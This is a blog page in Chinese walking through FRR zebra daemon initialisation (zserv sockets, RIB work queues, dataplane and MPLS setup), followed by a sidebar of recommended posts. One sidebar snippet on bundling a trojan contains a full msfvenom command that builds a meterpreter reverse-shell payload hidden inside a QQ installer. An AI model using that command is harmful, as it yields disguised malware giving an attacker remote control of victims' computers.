FRR BGP协议分析11 -- ZEBRA初始化

基于FRR全面解析BGP协议(五):FRR的BGP路由策略 FRR的BGP路由策略 过滤器 FRR提供了基于IP,基于Community和基于AS-PATH的三种类型过滤器来匹配路由。 IP Access List 基于IP的路由ACL规则,比较少使用,通常是用IP Prefix List来设置策略。 access-list NAME [seq (1-4294967295)] permit IPV4-NETWORK access-list NAME [seq (1-4294967295)] deny IPV4-NETWORK #NAME:规则名称 #seq:规则序 阅读详情
AI摘要

本文深入探讨Zebra路由守护进程的内部架构与工作原理,包括初始化过程、事件驱动机制、与内核交互方式及MPLS信息处理等关键环节。Zebra作为核心组件,负责统一管理各协议进程的路由信息更新与交互。

zebra,翻译是斑马,它负责管理其他所有协议进程的路由信息的更新与交互,并负责与内核交换信息,整体的架构如下:

 

Zebra的初始化在zebra/main.c里面,代码也来的干净直接

  • frr_init创建zebra主进程的master数据结构,用来做事件驱动,我们可以看下thread_master的数据结构。

其整合了事件的可读、可写、定时器、信号的处理,后面有时间可以来学习下。

  • frr_pthread_init 初始化所有的线程链表
  • zebra_router_init 初始化和策略路由PBR ?? 相关的HASH

  • zserv

zebra作为其他协议进程的服务端,通过建立socket和其它的进程建立通道来交互信息。

zserv_accept 接受客户端的请求,并创建一个新的客户端,还会给每个客户端创建一个线程处理客户端的读、写请求。

客户端比如bgp会调用zclient_new/zclient_init初始化客服端连接到zebra服务端,并发送关心的事件到zebra的服务端。

bgp_zebra_connected 是连接服务端成功后,向zebra注册各种事件的回调函数。

  • rib_init

rib_queue_init初始化work queue相关的事情,ribq处理rib信息相关的,meta_queue_new会创建5个subq,每个队列是具有优先级的,也就是处理rib的消息是PQ的队列。

zebra_dplane_init 是初始化data plane数据平面的信息,并会初始化linux kernel数据平面处理的函数,也就是会做一个适配层,隔离FRR和DP面,减少耦合。

zebra_dplane_start会Start the dataplane pthread,处理数据下发到DP 数据平面的消息。

  • zebra_mpls_init初始化MPLS相关的信息,主要完成:
  1. 内核是否支持MPLS

  1. Zebra处理MPLS 信息的work queue

  • 最后frr_run, zebra 主线程跑起来,全部初始化完成,其它的初始化点,后续在继续补充 !!!!!!!

基于FRR全面解析BGP协议(二):BGP协议的路径属性 BGP协议的路径属性 当一条BGP路由被BGP路由器通告给其对等体时,这条BGP路由会携带多个路径属性值(Path Attributes)并传递给对等体。 这些路径属性,将影响BGP的路由优选,使得BGP的路由策略能力异常强大。 BGP路径属性分为公认属性和可选属性。公认属性是所有BGP协议实现必须都能正确识别的属性;可选属性是BGP协议实现可不支持的属性。公认属性又分为公认必遵和公认自决属性。公认必遵是在update报文中必须携带的属性;而公认自决并不要求必须包含在update报文中。可选属性分为可选传 阅读详情

相关推荐

【HCIE】FRR+BFD+OSPF与BGP联动

FRR+BFD+OSPF与BGP联动

Wenrs的博客 1995

Frrouting学习笔记(二)——Zebra协议及指令

协议守护程序使用Zebra协议(或``ZAPI``) 来与 **zebra**守护程序进行通信。每个协议守护程序都可以向**zebra**守护程序请求信息,并向其发送信息,例如接口状态、路由状态、下一跳验证等。协议守护程序还可以使用**zebra**安装路由。**zebra**守护进程负责管理将哪一种路由安装进操作系统内核。一些守护进程会使用多个ZAPI连接。每个ZAPI会话都有一个元组标识:``{protocol,instance,session_id}` `用于被识别。

luanshenshen的博客 1706

别再死记硬背了!一张图帮你理清Frrouting中Zebra协议(ZAPI)的80+条核心指令

本文通过可视化拆解Frrouting中的Zebra协议(ZAPI),提供80+条核心指令的逻辑图谱与实战指南。文章采用功能聚类、场景映射和可视化路径三大维度,帮助网络工程师高效掌握接口管理、路由操作等6大核心模块指令,解决传统死记硬背的学习痛点,提升协议调试与网络部署效率。

weixin_33713350的博客 224

2021-08-20 SONiC中的FRR和Zebra

2021-08-20 SONiC中的FRR和Zebra SONiC中采用FRR和Zebra处理路由协议 以前写过SONiC系统所默认包含的BGP模块在201811版的SONiC之前是开源的Quagga软件,之后改成了更流行的FRR。完整的路由器系统需要协议处理、FIB/RIB维护、转发面芯片配置等功能。FRR提供了BGP路由协议的处理,除此以外,还需要对其他路由协议如各种IGP协议进行管理,SONiC系统通过路由协议获得的路由信息还需要和Redis数据库关联,进而通告订阅/通告机制和系统其他功能互动。SON

weixin_44316184的博客 2643

【信息科学与工程学】【通信工程】第八十六篇 通信网络设备及通信网络组网的所有学科知识01

编号001类型网络虚拟化与覆盖技术网络领域数据中心网络子领域大二层网络 / 网络虚拟化核心数学方程式/算法模型核心算法:VXLAN封装与解封装。关键在于24位VNI(虚拟网络标识符)到物理网络的三层IP地址的映射。封装:收到原始以太帧后,为其添加 VXLAN 头部(含 VNI)、外层 UDP 头(目的端口 4789)、外层 IP 头(源 IP 为本地 VTEP IP,目的 IP 为对端 VTEP IP)以及外层 MAC 头。解封装:对端 收到报文后,剥离外层头部,根据内层帧的目的 MAC 和 VNI 进行二

weixin_49199313的博客 826

【AIGC】COT思维链:让AI学会拆解问题,像人一样思考

COT思维链的出现,为AI的发展开辟了一条新的道路。它让AI学会了像人类一样思考,将复杂问题分解成简单的步骤,并逐步推理出最终答案。希望我的引导会对你产生启发。

智兔唯新的博客 9001

Kubernetes BGP集成实战:构建生产级Anycast服务网络

BGP(边界网关协议)是互联网自治系统间路由交换的基础协议,其核心原理在于通过AS路径、本地优先级和多出口判别(MED)等属性实现跨域最优路径选择;技术价值在于赋予Kubernetes集群网络主权,摆脱云厂商负载均衡器的路由黑盒与协议限制;典型应用场景包括多云/混合云服务统一入口、边缘计算低延迟接入、金融级高可用网关及全球Anycast服务IP部署;本文聚焦2018年成熟稳定的FRRouting + MetalLB组合方案,详解BGP邻居建立、Service IP动态宣告、Anycast地址规划与四层连通性

weixin_34414650的博客 659

基于FRR全面解析BGP协议(一):BGP协议基础知识

#基于FRR全面解析BGP协议(一):BGP协议基础知识 ##BGP协议基础知识 ###定义 边界网关协议(Border Gateway Protocol,BGP)是一种实现自治系统AS之间的路由可达,并选择最佳路由的矢量性协议 。简单地讲,就是交换两个网络的路由信息。 ###特征 BGP使用TCP为传输层协议,TCP端口号179。 路由器之间的BGP会话基于TCP连接而建立。运行BGP的路由器被称为BGP发言者(BGP Speaker),或BGP路由器。 两个建立BGP会话的路由器互为对等

m0_48594855的博客 4881

微带天线理论学习笔记(1)

微带天线的概念是由Deschamps于1953年提出来的,它是在一块厚度远小于工作波长的介质基片的一面敷以金属辐射片、一面全部敷以金属薄层作接地板而成。辐射片可以根据不同的要求设计成各种形状。微带天线具有质量轻、体积小和易于制造等优点,广泛应用于个人无线通信中。

qq_36521926的博客 6223

GD32F103程序烧录全攻略:从SWD到串口的实战指南

本文提供了GD32F103微控制器程序烧录的全面实战指南,详细介绍了SWD、JTAG和串口(ISP)三种主流下载方式。文章重点解析了在Keil MDK中使用ST-Link进行SWD下载的完整步骤,包括硬件连接、软件配置和Flash算法设置,并针对烧录过程中的常见问题提供了实用的排坑解决方案,帮助开发者高效完成程序部署。

weixin_29191669的博客 435

VPP与FRR(zebra)通过Linux内核互通调研(netns方式,非vrf)

http://turbock79.cn/?p=336

weixin_41666796的博客 1089

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

FRR搭建简单BGP网络环境

实验参考文章https://segmentfault.com/a/1190000019892263,并进一步解释完善。 一、BGP查询CLI命令 对frr的配置文件/etc/frr/daemon进一步修改,改为bgpd=yes启动bgp 通过vtysh命令行接口,查询frr中bgp配置 show ip bgp [x.x.x.x](longer) show ip bgp summary s...

turbock的博客 9345

解决VMware与Hyper-V/Device Guard冲突的实用指南

本文详细解析了VMware与Hyper-V/Device Guard冲突的根源,并提供了三种实用的解决方案:彻底关闭相关功能、通过启动配置实现选择性引导,以及使用VMware Workstation Pro的Hyper-V兼容模式。指南包含清晰的诊断步骤、操作命令和避坑建议,帮助用户根据自身需求灵活选择,实现虚拟化环境的稳定运行或高效共存。

weixin_29306317的博客 684

MobaXterm SSH连接失败:深入解析密钥格式错误导致的Software caused connection abort

本文深入解析了MobaXterm SSH连接失败问题,特别是因密钥格式错误导致的'Software caused connection abort'错误。通过分析系统日志和密钥损坏原因,提供了重建SSH主机密钥的详细步骤,包括备份、生成新密钥及权限设置,帮助用户彻底解决连接中断问题。

weixin_29306011的博客 477

FRR BGP 基础命令配置

前面了解了BGP基础概念,下面搭建简单的BGP实验场景,基于遇到的测试用例记录BGP不同测试场景下的配置方法。在FRR源码中 tests/topotests 目录下存在很多经典的场景配置,对路由网络有一定了解可以直接参考topotests下配置即可。本文主要记录学习BGP时从刚开始接触到慢慢了解的过程,后续会持续补充遇到的各种场景配置。BGP相关命令都是基于FRR,基础网络配置使用系统命令,数据面也涉及VPP相关命令。

csdn_3815的博客 1684

【S32K3 MCAL配置】-3.4-CANFD配置-接收特定的“经典CAN/CANFD标准帧”和“经典CAN/CANFD扩展帧”(基于MCAL+FreeRTOS)

【S32K3 MCAL配置】-3.4-CANFD配置-接收特定的“经典CAN/CANFD标准帧”和“经典CAN/CANFD扩展帧”(基于MCAL+FreeRTOS)

「汽车电子助手」的博客 694

FRR MPLS协议分析 3 --- MPLS ZEBRA处理

MPLS ZEBRA处理

~~ LINUX ~~ 734

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

在 Linux 上构建网络路由器

动态、健壮的路由对于 Internet 网络来说极其重要,因此任何一个初涉此领域的网络工程师不仅需要理解路由的概念,而且要有能力在真正的环境下驾驭它。但是,路由领域由高端网络设备供应商(比如 Cisco)提供的产品一统天下,这就意味着对于大多数人来说,只能在学校或者实验室环境中才能学习路由,而且还要一直受到实践时间和实践条件的困扰。我们在组织一门关于 TCP/IP 路由的课程时就遇到了这样的困

软体疯子专栏 1654

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

FRR BGP 协议分析 3 --- FSM 状态机

前面创建完bgp peer之后,peer是active的话就会开启bgp start timer,然后开始BGP状态机的协商,不然费那么大劲创建出来不做事情就就很尴尬。 状态机简介 下面是BGP的状态和事件驱动的定义: bgp是基于tcp协议的,即包含了tcp协议的优点,因此上面的状态机也就跟tcp连接有一定的关系: tcp连接建立阶段的状态:Idle, Connect,...

~~ LINUX ~~ 3525

linux内核端口绑定,VPP与FRR通过Linux内核互通调研(netns方式,非vrf)

实验环境:操作系统Centos7.6,原生Linux系统内核版本3.10;实现租户路由域间通信的方式选择——vrf与netns之间:因为Linux内核自4.8以后才较好支持vrf功能,所以采用vrf方式实现VPP到FRR通信需要升级Linux系统内核;但现有生产环境采用原生3.10版本,升级系统版本会产生不稳定风险,例如vpp通过网卡驱动接管虚拟网卡问题等;同时系统版本3.10已很好支持netns...

weixin_31971727的博客 1865

Frrouting学习笔记(五)——OSPF Segment Routing

实现分段路由的地球。它添加了一个新的分段路由数据库,用于管理每个链路和前缀的分段标识符和分段路由启用节点,回调功能用于处理传入。这里是启用分段路由的简单配置示例。这里的想法是,一旦知道备份路径,它也是路径上所有节点本身的备份路径。它专注于提供基本的基础设施,这些基础设施稍后也可以用于增强算法方面。洪泛节点的分段路由功能。运行配置了路由表,则会为每个前缀增加额外的备份路径。)的框架内进行的,该项目的部分资金由欧盟委员会提供。因此,在第一次之后,每个进入的。年龄,以确定它是安装还是将来删除,即刷新的。

luanshenshen的博客 1114

Frr代码分析之BGP不同类型报文收发

bgp_packet.c中bgp_notify_send_internal函数调用bgp_packet_set_marker(s, BGP_MSG_NOTIFY)来设置Type字段,调用bgp_packet_set_size(s)来设置Length字段,bgp_notify_send函数参数中输入差错码字段与差错子码字段,同时调用bgp_notify_send_internal函数,以将差错码,差错子码传参至notify报文中进行发送。

2301_79967043的博客 688
上一篇: FRR BGP协议分析10 -- 路由衰减
下一篇: FRR BGP协议分析12 -- ZEBRA路由的处理1
废言Pro
博客等级 码龄16年 1092粉丝 142原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值